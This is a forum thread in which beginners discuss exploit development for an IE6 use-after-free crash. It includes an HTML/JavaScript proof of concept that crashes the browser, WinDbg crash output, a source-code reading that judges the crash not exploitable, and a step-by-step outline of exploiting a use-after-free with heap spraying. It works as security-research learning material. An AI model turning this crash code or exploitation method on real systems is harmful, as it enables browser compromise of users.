Page 1 of 2 12 LastLast
Results 1 to 10 of 12

Thread: IE6 use-after-free PoC Share/Save - My123World.Com!

  1. #1

    IE6 use-after-free PoC

    Hi

    I've just recently started looking into exploit development. I have this PoC that crashes IE6 & according to windbg, is exploitable. But am kinda having a hard time figuring out how to over-write the data of the vftable pointer. Or maybe theres a better approach? Any *pointers*?

    Code:
    <HTML>
    <HEAD>
    <SCRIPT type="text/JavaScript">
    function initall() {
    var tableElem = document.body.firstChild;
    if(tableElem.childNodes.length > 0) {
    tableElem.removeChild(tableElem.firstChild);
    }
     
    var targetBody = document.createElement('TBODY');
    tableElem.appendChild(targetBody);
     
    var sampleRow = document.createElement('TR');
    var cell = document.createElement('TD');
    for(var i = 0; i < 8; i++) {
    sampleRow.appendChild(cell.cloneNode());
    }
    targetBody.appendChild(sampleRow);
     
    setTimeout(initall, 1);
    };
    </SCRIPT>
    </HEAD>
    <BODY onload="initall();">
    <TABLE><TBODY></TBODY></TABLE>
    </BODY>
    </HTML>
    All it takes, is persistence.

    To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.

  2. #2
    Crash occurs at

    mshtml!CTableLayout::ReleaseRowsAndSections+0xa7:
    7d67ec9d 897a20 mov dword ptr [edx+20h],edi ds:0023:018002a0=????????

    Stack Trace

    0:000> k

    ChildEBP RetAddr
    0013d0f0 7d67f184 mshtml!CTableLayout::ReleaseRowsAndSections+0xa7
    0013d108 7d67f22a mshtml!CTableLayout::ClearTableLayoutCache+0x25
    0013d118 7d67f2e3 mshtml!CTableLayout::FlushGrid+0x31
    0013d158 7d5a93d9 mshtml!CTableLayout::CreateTableLayoutCache+0x42
    0013d160 7d544cc4 mshtml!CTableLayout::EnsureTableLayoutCache+0x29
    0013d2a0 7d5069d1 mshtml!CTableLayout::CalcSizeVirtual+0x107



    Reading from the source code of mshtml.dll from win2ksrc.rar ltable.cxx, we can determine the place where the crash takes place

    for (ppSection = _aryBodys, iSection = _aryBodys.Size();
    iSection > 0;
    iSection--, ppSection++)
    {
    (*ppSection)->_iRow = 0; << crash happens here

    (*ppSection)->_cRows = 0;
    }


    and at this place both edi always is zero and edx can not be controlled

    mov dword ptr [edx+20h],edi ds:0023:018002a0=????????

    PS: i Dont think its an exploitable crash!

  3. #3
    sweet!

    Never knew about the online source-code thingy

    and at this place both edi always is zero and edx can not be controlled

    mov dword ptr [edx+20h],edi ds:0023:018002a0=????????

    PS: i Dont think its an exploitable crash!


    Thats what I thought too. So you mean to say, there has to be a way for us to control either of those registers or we can't exploit it? Now whats the whole business with heapsprays?
    From what I understand, the above PoC crashes because that location was already freed. Isn't this how the usual use-after-free exploitation is done:


    1. Initialize a variable/array on the heap.
    2. Nullify an existing (different) tag/pointer.
    3. Fill the array initialized at step-1 again,hoping this'll end up overwriting the vftable's pointer we just freed in step-2. (Provided the size of the data was the same? Dunno how this works yet)
    4. Try to use the tag/pointer in step-2 & Bingo?
    Last edited by Aodrulez; 02-26-2013 at 01:29 PM.
    All it takes, is persistence.

    To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.

  4. #4
    Hey bro!

    "Now whats the whole business with heapsprays"
    Only memory layout can be controlled with heap sprays not registers!

    From what I understand, the above PoC crashes because that location was already freed
    The location was never allocated ! we can verify that from the dbg output "0023:018002a0=????????"

    Thanks!

  5. #5
    Now things are making sense. One more thing, Lets say one finds a "use-after-free" vulnerability. Whats the usual approach to proceed further?
    All it takes, is persistence.

    To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.

  6. #6

  7. #7
    Garage Addict 41.w4r10r's Avatar
    Join Date
    Jul 2010
    Location
    Pune
    Posts
    338
    Blog Entries
    3
    use after free vulnerabilities notmally exploited in this way for browsers atleast


    Create element -> delete that element(here memory is freed bu reference is kept (This is the problem)) -> Heap Spray(so that the memory occupied and freed in last step by element is now filled with your spayed data) -> try to access the same element which was deleted in 2nd step (so as the memory is controlled by you will be accessed as the reference was not deleted)

    in very simple way:

    create Element -> delete element -> heap spray -> access deleted element

  8. #8
    Got the concept Thanks.
    Now its time to test my theories
    All it takes, is persistence.

    To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.

  9. #9
    Garage Addict 41.w4r10r's Avatar
    Join Date
    Jul 2010
    Location
    Pune
    Posts
    338
    Blog Entries
    3
    one of the best utilities which can be used for use after free vulnerability analysis is
    gflags.exe (windbg)

    one of the good article.
    Debug Heap Issues Using Full Page Heap

  10. #10
    I found that using exploitable! from Microsoft gave in many cases indication and a good estimate on how exploitable is a vulnerability.

    Try to use it, its pretty straight forward if you already have windbg running - &#33;exploitable Crash Analyzer - MSEC Debugger Extensions - Home

    If you cannot get it to work, let me know, I can help you with it

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •